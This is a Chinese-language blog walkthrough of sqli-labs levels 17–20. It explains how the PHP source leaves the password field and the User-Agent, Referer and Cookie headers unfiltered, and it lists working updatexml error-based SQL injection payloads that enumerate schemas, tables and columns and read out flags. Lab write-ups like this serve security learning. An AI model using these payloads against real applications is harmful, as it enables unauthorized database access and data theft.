sqli-labs过关解析(17- 20附带源码解析)

Hello大家,这个sqli-labs靶场两年前的时候写过几篇,但后面因为其他原因耽搁了,所以才没有后续;

  • 但现在随着应急响应以及渗透测试做的越来越多,发现我越来越依赖工具了,而这是与我的初衷相违背的;
  • 所以从今天开始我将一一手动把那几个经典靶场给打一下,加深自己这方面的理解;

文章目录

    • [sqli-labs第17关 --- POST型报错注入](#sqli-labs第17关 — POST型报错注入)
    • [sqli-labs第18关 --- POST型UA头报错注入](#sqli-labs第18关 — POST型UA头报错注入)
    • [sqli-labs第19关 --- POST型refer头报错注入](#sqli-labs第19关 — POST型refer头报错注入)
    • [sqli-labs第20关 --- POST型Cookie头报错注入](#sqli-labs第20关 — POST型Cookie头报错注入)
    • 总结

提示:以下是本篇文章正文内容,下面案例可供参考

sqli-labs第17关 --- POST型报错注入

这里因为许久没做,所以讲的详细一些,后面的题目如无特别地方,就不赘述了 直接给代码;

还是老样子,我们先看源码:

  • 代码分析:
    • 首先在$update参数中,密码passwd必须在username存在的前提下设置;(也就是不能随便输入)
    • 然后在密码处进行注入;

所以我们尝试在passwd输入代码:

bash 复制代码
# 检查回显位
?id=1' order by 3 -- fa

# 确定注入点 
?id=-1'  union select 1,2,3 -- da  

确定注入点,发生了错误?

错误原因分析:注入环境是一个 UPDATE 语句,而不是 SELECT 语句。

  • UNION SELECT 的作用是将两个结果集(Result Set)合并。它只能用于 SELECT 查询中。
  • 当你输入 ?id=-1' union select 1,2,3 -- da 作为密码时,SQL 变成了:
  • UPDATE users SET password = '?id=-1' union select 1,2,3 -- da' WHERE username='admin'
  • 很明显造成了语法错误;

所以这里使用报错注入:

为什么报错注入能成功

这是因为源码中存在一个明显的安全疏忽

(1) 用户名 ($uname): 调用了 check_input() 函数,有效地防御了大部分针注入

php 复制代码
$uname=check_input($_POST['uname']); // 经过了过滤和转义

(2)密码 ($passwd): 完全没有过滤!

php 复制代码
$passwd=$_POST['passwd']; // 直接获取原始输入

--

注入原理

当你在密码框输入 1111' and updatexml(1,concat(0x7e,(select user()),0x7e),1)# 时,最终执行的 SQL 如下:

sql 复制代码
UPDATE users SET password = '1111' and updatexml(1,concat(0x7e,(select user()),0x7e),1)#' WHERE username='admin'

成功原因

  1. 闭合单引号: 1111' 闭合了原有的左单引号。
  2. 函数触发: updatexml() 是一个 XML 格式校验函数。它的第二个参数要求是合法的 XPath 格式。
  3. 强制报错: 我们故意传入了 0x7e(波浪号 ~),这不符合 XPath 规范。MySQL 在处理时会报错,并将第二个参数的内容(即 select user() 的执行结果)包含在错误信息中显示出来。

所以报错注入能够返回数据;


具体代码如下:

bash 复制代码
# 查表名(失败)
111' and (updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database()),0x7e),1)) -- da

查表名时又出现了一点问题:

所以我们需要limit 一下它的输出,成功返回结果,其他照旧:

bash 复制代码
# 查看数据库
111' and (updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e),1)) -- da

# 查表名,得到flag
111' and (updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='ctfshow' limit 0,1),0x7e),1)) -- da

# 查列名,得到flag4
111' and (updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='ctfshow' limit 1,1),0x7e),1)) -- da

# 列名详细字段: ctfshow{91bdfb83-4f2f-4022-98cc
111' and (updatexml(1,concat(0x7e,(select flag4 from ctfshow.flag limit 0,1),0x7e),1)) -- da

# 获取后半段: -4bc0257d5b11}
111' and (updatexml(1,concat(0x7e,mid((select flag4 from ctfshow.flag limit 0,1),32,31),0x7e),1)) -- da

由于 updatexml 报错信息的长度限制为 32 个字符,剩下的内容被截断了。你需要使用 mid()substr() 函数,从第 32 位开始读取后续的字符。

sqli-labs第18关 --- POST型UA头报错注入

查看源码:


发现还是数字型闭合,并且将结果逆序输出;

输入参数后,页面如下:

并且发现:

注入点判断

  • 页面显示yourip应该是请求头的参数参入
  • 同时post传入并未有该参数
  • 用admin登录成功后发现有User-agents显示

尝试了一下果然是UA头注入

注入原理

在源码中,注入点发生在 $insert 语句的第一个参数 $uagent 处:

php 复制代码
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";

(1)测试的payload:' and '1' = '1

  • 第一个 ':打破原有的字符串边界。
  • 中间的 and:串联你的恶意指令。
  • 最后的 '1' = '1:负责把原 SQL 语句中剩下的那个右单引号给"吃掉"或匹配上,从而维持整行代码的语法平衡,不让数据库报错。

这样做的目的是在第一个参数的位置,利用 AND 强行插入一个子查询。

(2)测试的payload2:' and (updatexml(1,concat(0x7e,user(),0x7e),1)) and '1' = '1

这个 Payload 同样是利用 报错注入。它在代码中形成的语句如下:

sql 复制代码
INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) 
VALUES ('1' and (updatexml(1,concat(0x7e,user(),0x7e),1)) and '1' = '1', '$IP', $uname)

基本的原理看上面;

  • VALUES ('[你的逻辑结果]', '$IP', $uname)
  • 如果登录成功:IP** 和 **uname 有值,语句语法正确,注入成功并报错。
  • 如果参数没对齐:只要 IP 和 uname 对应的位置有合法的数据占位,报错注入就能触发

于是输入注入语句即可:

bash 复制代码
# 查数据库,得到ctfshow
' and (updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e),1)) and '1'='1

# 查表,得到flag
' and (updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='ctfshow' limit 0,1),0x7e),1)) and '1' = '1

# 查列,得到flag4
' and (updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='ctfshow' limit 1,1),0x7e),1)) and '1' = '1

# 获取详细字段 ctfshow{6668784a-ed09-4331-aca0
' and (updatexml(1,concat(0x7e,(select flag4 from ctfshow.flag limit 0,1),0x7e),1)) and '1' ='1

# 获取下半段 -7d3a72d61286}
'and (updatexml(1,concat(0x7e,mid((select flag4 from ctfshow.flag limit 0,1),32,31),0x7e),1)) and '1' = '1

sqli-labs第19关 --- POST型refer头报错注入

这里我们查看源代码,可以发现与上一关差不多:

而基本原理也是一样的,这里不再赘述;

直接上代码:

bash 复制代码
# 查数据库,得到ctfshow
' and (updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e),1)) and '1'='1

# 查表,得到flag
' and (updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='ctfshow' limit 0,1),0x7e),1)) and '1' = '1

# 查列,得到flag4
' and (updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='ctfshow' limit 1,1),0x7e),1)) and '1' = '1

# 获取详细字段 ctfshow{ee7cc8a6-d168-4be1-b2fc
' and (updatexml(1,concat(0x7e,(select flag4 from ctfshow.flag limit 0,1),0x7e),1)) and '1' ='1

# 获取下半段 -5acbe9e439b1}
'and (updatexml(1,concat(0x7e,mid((select flag4 from ctfshow.flag limit 0,1),32,31),0x7e),1)) and '1' = '1

sqli-labs第20关 --- POST型Cookie头报错注入

查看源码:

  • 代码:setcookie('uname', $cookee, time()+3600);
    • 功能:一旦数据库返回了匹配的用户信息(if($row1) 成立),服务器就会在浏览器生成一个名为 uname 的 Cookie,有效期 1 小时
    • 并不是时间盲注

默认页面如下:

尝试Cookie参数:

注意:需要带上uname= 参数

bash 复制代码
# 查数据库,得到ctfshow
uname=' and (updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e),1)) and '1'='1

# 查表,得到flag
uname=' and (updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='ctfshow' limit 0,1),0x7e),1)) and '1' = '1

# 查列,得到flag4
uname=' and (updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='ctfshow' limit 1,1),0x7e),1)) and '1' = '1

# 获取详细字段 ctfshow{9c49798f-44e0-423c-a00d
uname=' and (updatexml(1,concat(0x7e,(select flag4 from ctfshow.flag limit 0,1),0x7e),1)) and '1' ='1

# 获取下半段 -115b73e5c1de}
uname='and (updatexml(1,concat(0x7e,mid((select flag4 from ctfshow.flag limit 0,1),32,31),0x7e),1)) and '1' = '1

总结

期待下次再见;

相关推荐
Apple_羊先森2 小时前
ORACLE数据库巡检SQL脚本--21、正在执行的长耗时操作
数据库·sql·oracle
xiaoliuliu123452 小时前
MONyog-5.6.9-0数据库监控安装步骤详解(附MySQL连接与监控设置教程)
数据库·mysql
yzs872 小时前
PgSQL的外连接选择率计算
数据库
此生只爱蛋3 小时前
【MySQL】变量
数据库·mysql
柒.梧.3 小时前
拆解Spring核心:IOC与AOP底层原理
数据库
Codefengfeng3 小时前
kali安装与使用蚁剑(antsword)
web安全·网络安全·系统安全
一个天蝎座 白勺 程序猿4 小时前
国产数据库破局之路——KingbaseES与MongoDB替换实战:从场景到案例的深度解析
开发语言·数据库·mongodb·性能优化·kingbasees·金仓数据库
thginWalker4 小时前
演进篇 · 维护篇
服务器·数据库